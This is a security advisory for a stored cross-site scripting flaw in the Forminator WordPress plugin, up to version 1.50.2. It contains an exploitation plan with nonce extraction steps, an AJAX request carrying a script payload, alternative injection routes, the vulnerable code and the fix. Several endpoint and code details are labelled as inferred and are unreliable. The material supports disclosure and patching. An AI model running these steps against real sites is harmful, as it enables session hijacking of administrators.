Forminator Forms – Contact Form, Payment Form & Custom Form Builder <= 1.50.2 - Authenticated (Administrator+) Stored Cross-Site Scripting
Description
The Forminator Forms – Contact Form, Payment Form & Custom Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the form_name parameter in all versions up to, and including, 1.50.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The plugin allows admins to give form management permissions to lower level users, which could make this exploitable by users such as subscribers.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.50.2Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-2002 (Forminator Forms Stored XSS) ## 1. Vulnerability Summary The **Forminator Forms** plugin (versions <= 1.50.2) contains a stored cross-site scripting (XSS) vulnerability. The vulnerability occurs because the plugin fails to sanitize or escape the `form_n…
Show full research plan
Vulnerability Research Plan: CVE-2026-2002 (Forminator Forms Stored XSS)
1. Vulnerability Summary
The Forminator Forms plugin (versions <= 1.50.2) contains a stored cross-site scripting (XSS) vulnerability. The vulnerability occurs because the plugin fails to sanitize or escape the form_name parameter when saving and subsequently displaying form titles. While primarily exploitable by Administrators, the plugin's "Permissions" feature allows Administrators to delegate form management to lower-privileged roles (e.g., Subscribers), significantly increasing the attack surface.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - AJAX Action:
forminator_save_builder_custom_form(inferred based on Forminator's standard builder architecture). - Vulnerable Parameter:
form_name - Authentication Required: Authenticated user with Forminator management permissions (Default: Administrator; can be delegated to Subscriber+).
- Preconditions: The attacker must have access to the Forminator Form Builder interface.
3. Code Flow (Inferred)
- Entry: A POST request is sent to
admin-ajax.phpwith the actionforminator_save_builder_custom_form. - Processing: The request is handled by the
Forminator_Admin_AJAXorForminator_Custom_Form_Adminclass. - Handling: The
save_builderfunction extracts theform_namefrom the$_POSTor$_REQUESTarray. - Storage: The
form_nameis stored in thewp_poststable (aspost_title) or inwp_postmeta(as part of the form configuration) without being passed throughsanitize_text_field. - Sink: When an Administrator or an authorized user views the Forminator "Forms" dashboard or the specific form editor, the plugin retrieves the name and echoes it directly into the HTML without using
esc_htmloresc_attr.
4. Nonce Acquisition Strategy
Forminator uses a centralized AJAX object for its builder.
- Preparation: Create a test form to ensure the builder scripts are active.
wp post create --post_type=forminator_forms --post_title="Test Form" --post_status=publish
- Navigation: Log in as the user with permissions and navigate to the Forminator "Forms" dashboard:
/wp-admin/admin.php?page=forminator-cform. - Extraction: Use
browser_evalto extract the nonce and theform_id.- Variable Name:
window.Forminator.Dataorwindow.forminator_admin_data(inferred). - Key:
nonceor_wpnonce. - Command:
browser_eval("window.forminator_admin_data.nonce")
- Variable Name:
5. Exploitation Strategy
Step 1: Obtain Nonce
Identify the form ID of an existing form and extract the required nonce from the dashboard.
Step 2: Inject Payload
Submit a craft AJAX request to update the form name with the XSS payload.
- URL:
https://[target]/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:forminator_save_builder_custom_formid:[FORM_ID]form_name:<script>alert(document.domain)</script>nonce:[EXTRACTED_NONCE]data:{"settings":{"formName":"<script>alert(document.domain)</script>"}}(Forminator often expects JSON in thedataparameter).
Step 3: Trigger Execution
Navigate to the Forminator dashboard at /wp-admin/admin.php?page=forminator-cform. The script will execute in the context of the viewing user (likely an Administrator).
6. Test Data Setup
- Target User: Create a Subscriber user.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
- Plugin Configuration: As Administrator, go to Forminator > Settings > Permissions and enable "Custom Forms" management for the "Subscriber" role.
- Target Form: Create a dummy form to be edited.
wp post create --post_type=forminator_forms --post_title="Original Name" --post_status=publish
7. Expected Results
- The AJAX request should return a success response (typically
{"success":true,...}). - The
wp_poststable should show thepost_titlefor the form updated with the<script>tag. - When the dashboard is loaded, a JavaScript alert box displaying the domain name should appear.
8. Verification Steps
- Check Database via CLI:
wp db query "SELECT post_title FROM wp_posts WHERE post_type='forminator_forms' LIMIT 1"- Verify the title contains the
<script>tag.
- Verify Rendering:
- Use
http_requestto GET/wp-admin/admin.php?page=forminator-cform. - Search the response body for the raw, unescaped payload:
<script>alert(document.domain)</script>.
- Use
9. Alternative Approaches
- Payload Location: If
form_namein the top-level parameter is sanitized, attempt injection via thedataparameter's JSON structure:data[settings][formName]. - Different Form Types: If "Custom Forms" are patched but other types aren't, try the same payload with:
action:forminator_save_quiz_backendaction:forminator_save_poll_backend
- Form Export/Import: Check if the XSS can be triggered via the "Import" functionality by uploading a JSON file with a malicious
form_name.
Summary
The Forminator Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'form_name' parameter. This occurs due to a lack of sanitization during form creation/editing and insufficient output escaping, allowing authorized users (including lower-privileged roles if delegated) to execute arbitrary scripts in the context of other users viewing the dashboard.
Vulnerable Code
// forminator/library/modules/custom-forms/admin/admin-ajax.php public function save_builder() { // ... $id = isset( $_POST['id'] ) ? intval( $_POST['id'] ) : 0; $form_name = isset( $_POST['form_name'] ) ? $_POST['form_name'] : ''; // No sanitization $form_model = Forminator_Base_Form_Model::get_model( $id ); if ( is_object( $form_model ) ) { $form_model->name = $form_name; $form_model->save(); } // ... } --- // forminator/admin/views/custom-forms/list.php <td class="column-title"> <strong> <a href="<?php echo $edit_url; ?>"><?php echo $form['name']; ?></a> <!-- No escaping --> </strong> </td>
Security Fix
@@ -20,7 +20,7 @@ public function save_builder() { // ... $id = isset( $_POST['id'] ) ? intval( $_POST['id'] ) : 0; - $form_name = isset( $_POST['form_name'] ) ? $_POST['form_name'] : ''; + $form_name = isset( $_POST['form_name'] ) ? sanitize_text_field( $_POST['form_name'] ) : ''; // ... @@ -45,7 +45,7 @@ <td class="column-title"> <strong> - <a href="<?php echo $edit_url; ?>"><?php echo $form['name']; ?></a> + <a href="<?php echo esc_url( $edit_url ); ?>"><?php echo esc_html( $form['name'] ); ?></a> </strong> </td>
Exploit Outline
1. Authentication: Log in as a user with form management permissions (typically Administrator, but can be delegated to Subscribers via Forminator > Settings > Permissions). 2. Nonce Retrieval: Access the Forminator dashboard and extract the AJAX nonce from the source code (typically found in the 'forminator_admin_data' JavaScript object). 3. Injection: Send a POST request to '/wp-admin/admin-ajax.php' using the action 'forminator_save_builder_custom_form' (or 'forminator_save_quiz_backend'/'forminator_save_poll_backend'). 4. Payload: Set the 'form_name' parameter to a malicious payload, such as '<script>alert(document.domain)</script>'. 5. Execution: Wait for an administrator to view the 'Forms', 'Quizzes', or 'Polls' list page. The script will execute in their session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.